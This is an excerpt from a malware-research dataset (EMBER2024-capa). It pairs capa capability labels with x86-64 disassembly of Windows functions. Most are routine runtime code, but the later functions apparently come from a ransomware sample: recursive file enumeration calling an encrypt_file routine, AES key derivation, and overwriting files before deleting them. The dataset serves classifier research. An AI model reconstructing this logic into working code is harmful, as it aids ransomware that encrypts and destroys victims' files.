joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003cf0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x20
xor edi, edi
mov r8d, edx
mov rbp, rcx
mov ebx, edi
test edx, edx
je 0x180003e75
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea r9d, [rdx + rdx*2]
cmp r8d, r9d
je 0x180003d35
mov ebx, r9d
sub ebx, r8d
add ebx, 3
lea esi, [rbx + r8]
mov eax, 0x55555556
imul esi
mov r15d, edx
shr r15d, 0x1f
add r15d, edx
add r15d, ebx
add r15d, r8d
lea eax, [r15 + 1]
movsxd rcx, eax
call fcn.180018948
mov r11, rax
test rax, rax
je 0x180003e75
test esi, esi
jle 0x180003e68
mov qword [rsp + 0x40], r14
lea r10, [rbp + 1]
lea r14d, [rsi - 3]
lea rbp, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_0
lea r9, [rax + 2]
nop dword [rax + rax]
movzx eax, byte [r10 - 1]
mov ecx, eax
shr rcx, 2
movzx ecx, byte [rcx + rbp]
mov byte [r9 - 2], cl
cmp edi, r14d
jne 0x180003e02
test ebx, ebx
je 0x180003e02
cmp ebx, 1
jne 0x180003de5
movzx edx, byte [r10]
and al, 3
shl al, 4
movzx ecx, al
mov eax, edx
shr rax, 4
and dl, 0xf
add rcx, rax
mov byte [r9 + 1], 0x3d
shl dl, 2
movzx eax, byte [rcx + rbp]
mov byte [r9 - 1], al
movzx eax, dl
movzx eax, byte [rax + rbp]
mov byte [r9], al
jmp 0x180003e50
cmp ebx, 2
jne 0x180003e50
and al, 3
mov word [r9], 0x3d3d
shl al, 4
movzx eax, al
movzx eax, byte [rax + rbp]
mov byte [r9 - 1], al
jmp 0x180003e50
movzx r8d, byte [r10]
and al, 3
movzx edx, byte [r10 + 1]
shl al, 4
movzx ecx, al
mov eax, r8d
shr rax, 4
and r8b, 0xf
add rcx, rax
shl r8b, 2
movzx eax, byte [rcx + rbp]
mov ecx, edx
mov byte [r9 - 1], al
movzx eax, r8b
shr rcx, 6
add rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [r9], al
movsx rax, dl
and eax, 0x3f
movzx eax, byte [rax + rbp]
mov byte [r9 + 1], al
add r9, 4
add r10, 3
add edi, 3
cmp edi, esi
jl 0x180003d90
mov r14, qword [rsp + 0x40]
movsxd rax, r15d
mov byte [rax + r11], 0
mov rax, r11
jmp 0x180003e77
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x180003fd0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r15
sub rsp, 0x70
mov rax, qword [0x18003e080]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rax, rdx
mov qword [rsp + 0x28], rcx
mov rbx, rcx
lea rdx, [0x1800374b4]
mov rcx, rax
xor r15d, r15d
call fcn.180016cdc
mov rbp, rax
test rax, rax
jne 0x180004032
xorps xmm0, xmm0
lea rdx, [0x180037390]
movups xmmword [rbx], xmm0
xor r8d, r8d
mov qword [rbx + 0x10], r15
mov rcx, rbx
mov qword [rbx + 0x18], r15
call fcn.180003ed0
jmp 0x18000417c
xor edx, edx
mov qword [rsp + 0x68], rdi
mov rcx, rbp
lea r8d, [rdx + 2]
call fcn.18001759c
mov rcx, rbp
call fcn.180016980
movsxd rdi, eax
mov rcx, rbp
test eax, eax
jg 0x180004081
call fcn.1800171fc
xorps xmm0, xmm0
lea rdx, [0x180037390]
movups xmmword [rbx], xmm0
xor r8d, r8d
mov qword [rbx + 0x10], r15
mov rcx, rbx
mov qword [rbx + 0x18], r15
call fcn.180003ed0
jmp 0x180004177
mov qword [rsp + 0xa0], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x60], r14
call fcn.18001759c
mov ecx, edi
mov rsi, 0xffffffffffffffff
add ecx, 1
cmovb rcx, rsi
call fcn.180018948
mov r14, rax
test rax, rax
jne 0x1800040e2
mov rcx, rbp
call fcn.1800171fc
xorps xmm0, xmm0
lea rdx, [0x180037390]
movups xmmword [rbx], xmm0
xor r8d, r8d
mov qword [rbx + 0x10], r15
mov rcx, rbx
mov qword [rbx + 0x18], r15
call fcn.180003ed0
jmp 0x18000416a
lea eax, [rdi + 1]
xor edx, edx
movsxd r8, eax
mov rcx, r14
call fcn.18002b320
mov r8, rdi
mov r9, rbp
mov edx, 1
mov rcx, r14
call fcn.180018464
mov rcx, rbp
mov rdi, rax
call fcn.1800171fc
mov edx, edi
mov rcx, r14
call fcn.180003cf0
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
mov rdi, rax
movdqu xmmword [rsp + 0x40], xmm1
nop
inc rsi
cmp byte [rax + rsi], r15b
jne 0x180004130
mov r8, rsi
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.180003ed0
mov rcx, r14
call fcn.180018040
mov rcx, rdi
call fcn.180018040
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rsi, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18000f810
add rsp, 0x70
pop r15
pop rbp
pop rbx
ret
Function at 0x1800098c0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1800098e2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18000995c
mov rdi, r14
mov rcx, rbx
call fcn.18000b4f0
test rax, rax
jle 0x180009934
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.18002ac80
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000994c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180009954
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1800098f6
sub r14, rdi
jmp 0x180009a3f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180009973
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180009975
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800099a7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.18002ac80
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180009a3c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800099e2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x180009a1d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180018464
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x180009a3c
cmp rbp, rax
ja 0x1800099f0
test rbp, rbp
je 0x180009a3c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180018464
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x18000e118
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18000e152
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18000e157
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18000e1a0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x18002d4c0]
cmp byte [rcx + rax], 0
je 0x18000e1a0
dec r8
sub rdx, 1
jne 0x18000e186
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x180016698
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180010330
sub rsp, rax
mov rax, qword [0x18003e080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18001b7dc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800166e7
mov rax, rbp
jmp 0x1800167ef
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x40430]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18001ba6c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x40430]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800167eb
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800167eb
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18001ba6c
test rax, rax
js 0x1800167eb
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800167eb
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800167dd
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800167dd
cmp byte [rcx], 0xd
jne 0x1800167c3
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800167d2
cmp byte [rcx + 1], 0xa
jne 0x1800167d2
inc rcx
jmp 0x1800167d2
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3e460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800167a5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800167ef
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18000f810
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001dab4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180040430]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18001db0b
cmp word [rdx], r13w
jne 0x18001db0b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18001db10
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18001dc35
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18001dc56
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18001db49
mov rdx, r9
mov word [rbx], cx
jmp 0x18001db70
cmp r9, r8
jae 0x18001db80
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18001db2a
jmp 0x18001dc35
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001dc2a
cmp dword [rsp + 0x80], esi
je 0x18001dc2a
lea r8, [0x180040430]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18001dc02
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18001dbd2
mov word [rbx], r13w
jmp 0x18001dc32
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18001dbdf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18001dc32
cmp word [rsp + 0x70], r13w
jne 0x18001dc0f
cmp rbx, r14
je 0x18001dbcc
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001ba74
cmp word [rsp + 0x70], r13w
je 0x18001dc35
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180040430]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18001dc2f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18001dc35
Function at 0x18001e818
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001e82e
mov al, 1
jmp 0x18001e88e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001e83f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18001e88c
mov ecx, dword [rcx + 0x18]
nop
call fcn.180024c00
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001e88c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18001e88c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18001e88c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18001e88e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180024444
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180024474
xor eax, eax
jmp 0x180024537
mov rbp, rbx
cmp word [rax], si
je 0x180024499
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180024480
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18002447c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180022b2c
movsxd r14, eax
test eax, eax
jne 0x1800244d7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18002446d
mov rcx, r14
call fcn.180020ce0
mov rdi, rax
test rax, rax
jne 0x1800244f0
xor ecx, ecx
call fcn.18001fc08
jmp 0x1800244cc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180022b2c
test eax, eax
jne 0x180024521
mov rcx, rdi
call fcn.18001fc08
jmp 0x18002452b
xor ecx, ecx
call fcn.18001fc08
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800272ac
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18001bed4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18002734d
cmp ebx, dword [rsp + 0x30]
je 0x180027346
test esi, esi
je 0x180027346
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180027321
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18002732e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18002730b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180027332
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002734f
mov eax, 1
jmp 0x18002734f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180029a04
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18001ba74
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18001ba74
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180029b54
cmp rax, 0xffffffffffffffff
je 0x180029b54
xor edi, edi
test rbp, rbp
jle 0x180029aff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180020094
mov rbx, rax
test rax, rax
jne 0x180029a8c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180029af5
mov edx, 0x8000
mov ecx, r14d
call fcn.180029888
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18001f900
cmp eax, 0xffffffff
je 0x180029ad5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180029a9c
mov edx, r15d
mov ecx, r14d
call fcn.180029888
jmp 0x180029af5
cmp byte [rsi + 0x38], dil
je 0x180029aec
cmp dword [rsi + 0x34], 5
jne 0x180029aec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180029af5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18001fc08
jmp 0x180029b68
jns 0x180029b68
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18001ba74
cmp rax, 0xffffffffffffffff
jne 0x180029b20
cmp byte [rsi + 0x30], dil
je 0x180029b68
mov edi, dword [rsi + 0x2c]
jmp 0x180029b68
mov ecx, r14d
call fcn.180024c00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180029b68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180029b68
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180029b61
mov eax, dword [rsi + 0x2c]
jmp 0x180029b66
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18001ba74
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18002a9e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18002aa08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18002aa08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a8f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a900]
mov dword [rax], 1
mov rax, qword [0x14000a910]
mov dword [rax], 1
mov rax, qword [0x14000a8e0]
mov dword [rax], 1
mov rax, qword [0x14000a7a0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14000a8d0]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a890]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a870]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a750]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x14000163c
Capabilities:
Delete file
Get file size
Write file on windows

Disassembly:
push rbp
push rdi
mov eax, 0x1068
call fcn.140002f90
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1000], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, qword [rbp + 0x1000]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xfd0], rax
cmp qword [rbp + 0xfd0], 0xffffffffffffffff
je 0x1400017ab
mov rax, qword [rbp + 0xfd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0xfcc], eax
cmp dword [rbp + 0xfcc], 0xffffffff
je 0x140001788
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x1fe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0xfd0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov dword [rbp + 0xfdc], 0
jmp 0x14000177a
mov eax, dword [rbp + 0xfcc]
sub eax, dword [rbp + 0xfdc]
mov edx, 0x1000
cmp eax, 0x1000
cmovbe edx, eax
mov ecx, edx
lea r8, [rbp + 0xfc8]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0xfd0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
add dword [rbp + 0xfdc], 0x1000
mov eax, dword [rbp + 0xfdc]
cmp eax, dword [rbp + 0xfcc]
jb 0x140001728
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rcx, qword [rbp + 0x1000]
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
nop
add rsp, 0x1068
pop rdi
pop rbp
ret
Function at 0x1400017b6
Capabilities:
Encrypt data using aes via winapi
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
jne 0x140001806
mov eax, 0
jmp 0x1400018b3
mov rcx, qword [rbp + 0x18]
lea rax, [rbp - 0x70]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x20
mov r9, rcx
lea r8, str._s_.s
mov edx, 0x60
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x70]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
je 0x140001898
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, rdx
mov edx, 0x6610
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
je 0x140001898
mov eax, 1
jmp 0x14000189d
mov eax, 0
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov eax, dword [rbp - 4]
add rsp, 0xa0
pop rbp
ret
Function at 0x140001d2f
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
lea rax, [rbp + 0x200]
mov r9, qword [rbp + 0x320]
lea r8, str._s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x140001e7c
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a083]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001e44
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, [0x14000a085]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001e44
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xc0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x320]
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0xc0]
and eax, 0x10
test eax, eax
je 0x140001e2f
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.process_directory
jmp 0x140001e45
mov rdx, qword [rbp + 0x328]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.encrypt_file
jmp 0x140001e45
nop
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001d9e
mov rax, qword [rbp + 0x308]
mov rcx, rax
